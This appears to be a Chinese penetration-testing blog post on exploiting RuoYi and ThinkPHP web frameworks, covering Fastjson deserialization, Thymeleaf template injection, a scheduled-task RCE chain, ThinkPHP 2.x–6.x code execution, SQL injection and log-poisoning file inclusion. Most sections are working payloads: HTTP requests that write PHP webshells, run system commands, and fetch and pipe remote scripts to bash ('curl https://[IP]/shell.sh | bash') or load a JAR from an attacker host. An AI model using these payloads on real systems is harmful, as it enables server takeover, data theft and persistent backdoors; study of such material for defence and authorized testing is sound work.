在讲一段JSON字符串反序列化转换为Java对象时,Fastjson允许在JSON字符串中使用一个特殊的键@type,这个键就是告诉Fastjson把这段JSON数据转换成@type指定的那个具体类,如果服务器没有对@type传入的类名进行严格限制,那么就可以传入一些危险的Java核心类或第三方库中的类,当Fastjson尝试实例化这个危险的类,并自动调用这个类里面的settergetter方法来给属性赋值时就会触发恶意代码

payload:

POST /tool/gen/edit HTTP/1.1
Host: 172.16.0.66
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Referer: http://172.16.0.66/tool/gen/edit/6
Cookie: JSESSIONID=c229803b-e147-4853-ae79-df7e04dcd338
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.0.66
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 3610

tableName=111111&tableComment=111111&className=111111&functionAuthor=111111&&columns[0].javaType=Long&columns[0].javaField=infoId&&tplCategory=tree&treeCode=111111&treeParentCode=111111&packageName=111111&moduleName=111111&businessName=111111&functionName=111111&params[treeCode]=111111&params[treeParentCode]=1&params[treeName]={"@type":"java.net.Inet4Address","val":"11.hb4r0s.dnslog.cn"}

需要的参数是tplCategorytree,才能走到fastjson漏洞点,还需要treeCode&treePareentCode参数,这块代码中全局搜索提示的缺少的内容的中文名称即可发现参数名称,填写上即可

# Thymeleaf SSTI模版注入

在4.7.1版本的CacheController类中,影响接口为:

/monitor/cache/getNames
/monitor/cache/getKeys
/monitor/cache/getValue
/monitor/form/localrefresh/task

在Spring Boot结合Thymleaf的架构中,Controller层的处理方法通常会返回一个字符串,Spring会将这个字符串交给Thymeleaf视图解析器去寻找对应的HTML模版文件。RuoYi的部分接口在编写时,为了实现页面的局部刷新,直接将用户输入的参数拼接进视图名称中返回

例如,RuoYi的Controller代码可能类似于:

@PostMapping("/monitor/cache/getNames")
public String getCacheNames(String fragment) {
    // 业务逻辑...
    // 直接返回了带有用户输入的字符串
    return "monitor/cache/names :: " + fragment;
}

当Thymeleaf收到形如文件路径::视图片段的返回值时,它会去解析后面的视图片段,在Thymeleaf中,::是片段选择器,__${...}__是Thymeleaf的预处理表达式,它告诉引擎在解析整个模版之前先执行大括号里的SpEL(Spring表达式语言)

因此将fragment参数设置为__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x,Controller就会返回monitor/cache/names :: __${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x,Thymeleaf在解析这个字符串时就会立即执行__${...}__里的恶意Java代码

payload:

POST /monitor/cache/getNames HTTP/1.1

fragment=__${T%20(java.lang.Runtime).getRuntime().exec('open -a calculator')}__::.x
cacheName=123&fragment=${T (java.lang.Runtime).getRuntime().exec(“calc.exe”)}

# RuoYi4.8.0计划任务RCE

在4.8.0中,黑名单变得严格,直接输入RCE payload会被Controller拦截

后台目前限制:invokeTarget必须包含com.ruoyi.quartz.task字符串

攻击思路是利用合法Bean执行SQL注入,通过SQL篡改数据库绕过代码层黑名单从而触发RCE

首先在利用合法Bean执行SQL注入中,我们可以寻找RuoYi Spring容器中默认存在、且未被加入黑名单的Bean来执行SQL语句,常见的是:

jdbcTemplate:Spring自带的数据库操作类,可以构造jdbcTemplate.execute("SQL语句")
genTableServiceImpl:若依自带的代码生成器服务,可以构造genTableServiceImpl.createTable("SQL语句")

由于这两个Bean的名字和execute/createTable方法都不在黑名单中,所以该任务会被成功保存到数据库中,之后,可以执行如下SQL修改定时任务配置:

UPDATE sys_job SET invoke_target = 'org.yaml.snakeyaml.Yaml.load(''!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://attacker/exp.jar"]]]]'')' WHERE job_id = 1;

当定时任务第一次触发时,这条SQL被执行,它直接在数据库层面将该任务的invokeTarget替换为包含高位关键字(如snakeyamlhttp)的恶意payload,关键在于数据库底层的修改完全绕过了若依Controller层的代码黑名单校验

当该定时任务第二次触发时,Quartz会直接从数据库中读取被篡改的invokeTarget并执行,此时恶意的SnakeYAML反序列化payload被触发加载远程或本地上传的恶意JAR包,最终导致RCE或被注入内存马

参考文章中写的特别详细,但是ZLARYY......能力有限QAQ

# ThinkPHP

来到常规外网打点的最后一个框架部分,这里是ThinkPHP,参考文章:ThinkPHP框架介绍及应用-CSDN博客

ThinkPHP是一个国产轻量级、高性能、面向对象的PHP开发框架,采用MVC模式,支持多种数据库和跨平台开发,它从Struts框架移植而来,同时借鉴了国外优秀框架的设计理念,融合了Struts的思想、TagLib的标签库,Ruby on Rails的ORM映射和ActiveRecord模式,采用面向对象的开发结构和MVC模式

# ThinkPHP项目目录结构

典型项目可以抽象为:

ThinkPHP项目
├── app/              # 应用代码
│   ├── controller/   # 控制器
│   ├── model/        # 模型
│   └── view/         # 视图
├── config/           # 配置
├── route/            # 路由
├── public/           # Web入口
│   └── index.php
├── vendor/           # Composer依赖
└── composer.json

# MVC架构

  • 模型(Model):负责业务数据持久化、数据库交互、数据校验及核心业务逻辑
  • 视图(View):负责界面渲染和展示(UI呈现)
  • 控制器(Controller):负责接收用户的HTTP请求,解析参数,调用Model层获取数据,并将处理结果传给View层渲染或直接输出

# 框架指纹

参考文章:从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具_thinkphp漏洞-CSDN博客

  • ioc判断:/favicon.ico

  • ThinkPHP调试/异常页面:如果目标开启了调试模式,异常页面往往会泄露非常明显的ThinkPHP特征,例如:

    ThinkPHP
    think\exception\...
    think\Exception
    think\Request
    think\App
    think\Container
    think\Route
    
    # 调用栈中的路径
    /vendor/topthink/framework/...
    
    # 旧版本
    /thinkphp/library/think/...
    /ThinkPHP/Library/Think/...

    ThinkPHP官方框架本身就使用think\命名空间,官方异常模版也存在think_exception.tpl

  • topthink/framework:线代ThinkPHP使用Composer管理依赖,官方框架的Composer包名称就是topthink/framework,例如/vendor/topthink/framework/src/think/App.php或者:

    "require": {
        "topthink/framework": "^8.0"
    }
  • URL路由:ThinkPHP 5.x有默认URL模式:/index.php/模块/控制器/操作,例如:/index.php/index/user/login,ThinkPHP 5.0官方文档说明没有启用或匹配自定义路由时,典型格式是:

    index.php/模块/控制器/操作/参数名/参数值

    ThinkPHP 5.1同样存在这一典型访问规则

  • /?s=:在旧版ThinkPHP应用中还可以经常遇到:

    /index.php?s=/index/index/index
    
    /?s=/Home/Index/index
  • ThinkPHP 6/8目录与依赖特征:较新的ThinkPHP项目更多会看到:

    app/
    config/
    route/
    public/
    vendor/
    composer.json
    think

相关漏洞我们也可以看框架指纹提到的参考文章

# ThinkPHP 2.x任意代码执行漏洞

ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e','$var[\'\\1\']="\\2";',implode($depr,$paths));

在之前我们提到过,被/e修饰的preg_replace不会把替换后的字符当作普通字符串,而是当作php代码执行,正常情况下,如果路由里出现name/ZLARYY,那么会得到:

\1 = name
\2 = ZLARYY

那么replacement大致变成了$var['name']="ZLARYY",但\2的部分为用户可控,我们就可以通过构造代码执行的表达式实现RCE

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞所以也存在,同时还得满足php<=5.6.29

payload:

index.php?s=/index/index/name/$%7B@phpinfo()%7D
index.php?s=/index/index/name/$%7Bsystem(whoami)%7D
或者:
# curl反弹shell
/index.php?s=/index/index/name/${@print(eval($_POST[1]))}
同时POST提交
1=system("curl https://[IP]/shell.sh | bash");

当然也可以直接bash反弹

# ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞(5-rce)

这个漏洞常见于ThinkPHP 5.0.x <= 5.0.22;ThinkPHP 5.1.x <= 5.1.29

正常情况下,访问/index.php/index/user/login,ThinkPHP会解析:

model:index
controller:useer
action:login

于是执行UserController->login()

ThinkPHP5默认支持控制器名、方法名和参数由URL控制,但ThinkPHP5对于控制器名字的过滤不够严格,攻击者可以控制controller的位置,同时,ThinkPHP允许\think\app这种特殊控制器名,也就是说请求index.php?s=/\think\app/invokefunction会进入think\app::invokefunction()

invokefunction():这是ThinkPHP内部的一个函数调用方法,源码类似:

public static function invokefunction($function, $vars = [])
{
    return call_user_func_array($function, $vars);
}

这里的call_user_func_array()可以动态调用函数,call_user_func_array("phpinfo",[]);就等价于phpinfo();如果$function可控,那么就可以实现调用任意PHP函数

payload:

index.php?s=/index/\think\app/invokefunction=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]= URL编码后的木马

例如<?php phpinfo();eval(@$_POST['cmd']);?>可以实现的payload是:

index.php?s=/index/\think\app/invokefunction=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval($40%24_POST[%27cmd%27])%3B%20%3F%3E

之后我们访问shell.php就可以看到phpinfo的界面和命令执行的结果了

# ThinkPHP5 SQL注入漏洞&敏感信息泄露

影响版本ThinkPHP < 5.1.23

传入的某参数在绑定编译指令时没有安全处理,预编译时SQL异常报错,然而ThinkPHP5默认开启debug模式,在漏洞环境下构造错误SQL语法会泄露数据库账号和密码,漏洞附近代码如下:

<?php
namespace app\index\controller

use app\index\model\User;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id','in',$ids)->select();
    }
}

这里如果in可控的话,通过用户传入就会造成注入,对于in的操作代码:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查询
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }

代码先对bindName做了一次检测防止一些注入情况,但是当value是一个数组的情况下就会遍历value,并将k拼接进$bingName

PDO预编译的过程:

  1. prepare($SQL)编译SQL渔业局
  2. bindValue(param,value)将value绑定到param位置上
  3. execute()执行

这个漏洞实际上就是控制了第二步的$param变量,如果这个变量是一个SQL语句的话,那么在第二步的时候是会抛出错误的,返回执行的恶意语句结果

payload:

/index?ids[0,updatexml(0,concat(0xa,user()),0)]=1

# ThinkPHP 5.0.23远程代码执行漏洞

影响范围为ThinkPHP 5.0.x < 5.0.23;ThinkPHP 5.1.x < 5.1.31

ThinkPHP 5.0.23版本的RCE漏洞主要源于think\Request类的底层逻辑处理不当,具体来说问题出在HTTP请求方法伪装和类属性覆盖上

为了支持RESTful风格的API,ThinkPHP允许开发者在POST请求中通过传递一个特殊的参数(通常是__method)来伪装HTTP请求方法(比如将POST请求伪装成PUT或DELETE),在底层的Request.php源码中,框架会读取这个__method值,并以此为依据去动态调用对应的方法

而攻击者可以通过将_method的值设置为__construct,也就是类的构造函数,当框架去处理这个伪装请求时,由于没有对传入的方法名进行严格的白名单限制,导致其调用了Request类的构造函数,在Request类的__construct方法中,有一段逻辑会自动遍历传入的数组,并将其键值对赋值给类的属性,这里出现了变量覆盖漏洞,攻击者可以通过传入特定的参数覆盖掉Reuqest类内部的关键核心属性

在ThinkPHP中,所有的用户输入(GET、POST等)在获取时都会经过一个过滤机制,类内部有一个$filter属性,用来定义全局的过滤函数,正常情况下可能是htmlspecialcharstrim等,于是可以通过变量覆盖漏洞将$filter属性篡改为php的危险系统函数,比如system或者exec,随后当框架尝试去过滤其他的请求参数时,实际上底层执行的是call_user_func($filter,$value),此时由于$filter已经被修改为system,传入的普通参数就被当成了系统命令执行

payload:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['shell']); ?>  >>/var/www/public/shell.php

如果写入失败可以进行base64编码之后传入,随后用蚁剑连接

也可以实现反弹shell:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://[IP]/shell.sh | bash

ThinkPHP 5 RCE有两个版本:ThinkPHP 5.0-5.0.24和ThinkPHP 5.1.0-5.1.30,漏洞触发点和版本的不同,所以payload也不一样,条件也不一样

版本名 是否可被攻击 攻击条件
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
5.0.5
5.0.6
5.0.7
5.0.8 无需开启debug
5.0.9 无需开启debug
5.0.10 无需开启debug
5.0.11 无需开启debug
5.0.12 无需开启debug
5.0.13 需开启debug
5.0.14 需开启debug
5.0.15 需开启debug
5.0.16 需开启debug
5.0.17 需开启debug
5.0.18 需开启debug
5.0.16 需开启debug
5.0.20
5.0.21 需开启debug
5.0.22 需开启debug
5.0.23 需开启debug

5.0.13-5.0.19默认情况下config中的app_debug配置项为false,复现的时候需要开启

5.1.x:

?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x:

?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg    # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php     # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

5.0.13:

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
 
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
 
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
 
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

# ThinkPHP3.2.x RCE

该漏洞是由模版引擎引发的本地文件包含与日志污染组合的利用链

在ThinkPHP 3.2.x中,控制器通过$this->assign()向模版传递变量,最终由Think\ViewThink\Template类进行解析和渲染,在视图渲染流程(fetchdisplay方法)中,框架使用PHP内置的extract()函数解析分配给模版的数据:

// ThinkPHP 3.2.3 模板解析源码逻辑片段
extract($this->tVar, EXTR_OVERWRITE); 
// ...
include $_filename; // 或者 Storage::load($_filename, ...)

extract()使用了EXTR_OVERWRITE参数,意味着如果传入的数组包含了与局部变量同名的键,局部变量就会被强制覆盖,而在渲染函数内部存储摸板文件路径的局部变量为$_filename,如果开发者将用户可控的数据直接传给了$this->assign(),攻击者就可以传入一个名为_filename的键,将其指定为服务器上的任意文件路径,从而强行改变$_filename的指向

当局部变量$_filename被成功覆盖为任意路径之后,框架随后调用的Storage::load($_filename)include就会尝试将该路径当作php文件进行加载解析

ThinkPHP 3.2.x默认开启了日志记录功能,会将运行中的异常、SQL错误或特定的请求信息记录在Runtime/Logs/目录下(按日期命名,如Runtime/Logs/Common/26_08_12.log),如此,我们可以通过向网站发送带有恶意php代码的HTTP请求,例如在URL路径、请求头或报错参数中嵌入一句话木那,让系统将包含这段代码的请求记录到日志文件中,将$_filename设为这个日志文件的绝对路径或相对路径就可以实现RCE

payload:

# 创建日志并写入一句话木马
index.php?m=--><?=@eval($_POST['cmd']);?>
# 文件包含,文件名为当天日期
index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/26_08_12.log

同时,不同版本日志位置不一样:

THINKPHP3.2 结构:
Application\Runtime\Logs\Home\日期.log
THINKPHP3.1结构:
Runtime\Logs\Home\日期.log
日志存储结构是 :项目名\Runtime\Logs\Home\年份_月份_日期.log

# ThinkPHP lang命令执行

在其6.0.13版本及以前存在一处本地文件包含漏洞,当多语言特性被开启时,攻击者可以通过lang参数包含任意php文件,虽然只能包含本地php文件,但在开启了register_argc_argv且安装了pcel/pear的环境下,可以包含/usr/lib/php/pearcmd.php并写入任意文件,访问路径为/public/index.php

影响版本为:

6.0.1 < ThinkPHP≤ 6.0.13
5.0.0 < ThinkPHP≤ 5.0.12
5.1.0 < ThinkPHP≤ 5.1.8

HTML的lang属性:在HTML全局属性列表中,对lang属性的描述为Defines the language used in the element,即定义元素中使用的语言

有关pearcmd文件包含的介绍也可以看看:https://zlaryy.top/2026/03/10/文件包含/,这里就不再过多介绍其原理了~

pear是为PHP扩展与应用库,它是php扩展及应用的一个代码仓库,pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具,可以理解为php的命令行工具

payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/html/shell.php

# 一些指纹工具和网站

一些指纹工具和网站
TideFinger 潮汐指纹 TideFinger 潮汐指纹 (tidesec.com)

https://github.com/anx0ing/thinkphp_scan

https://github.com/sukabuliet/ThinkphpRCE

https://github.com/bewhale/thinkphp_gui_tools

https://github.com/Lotus6/ThinkphpGUI(无2版本检测功能)

以上内容大部分摘自参考文章:从0认识+识别+掌握thinkphp全漏洞(超详细看完拿捏tp)文末带工具_thinkphp漏洞-CSDN博客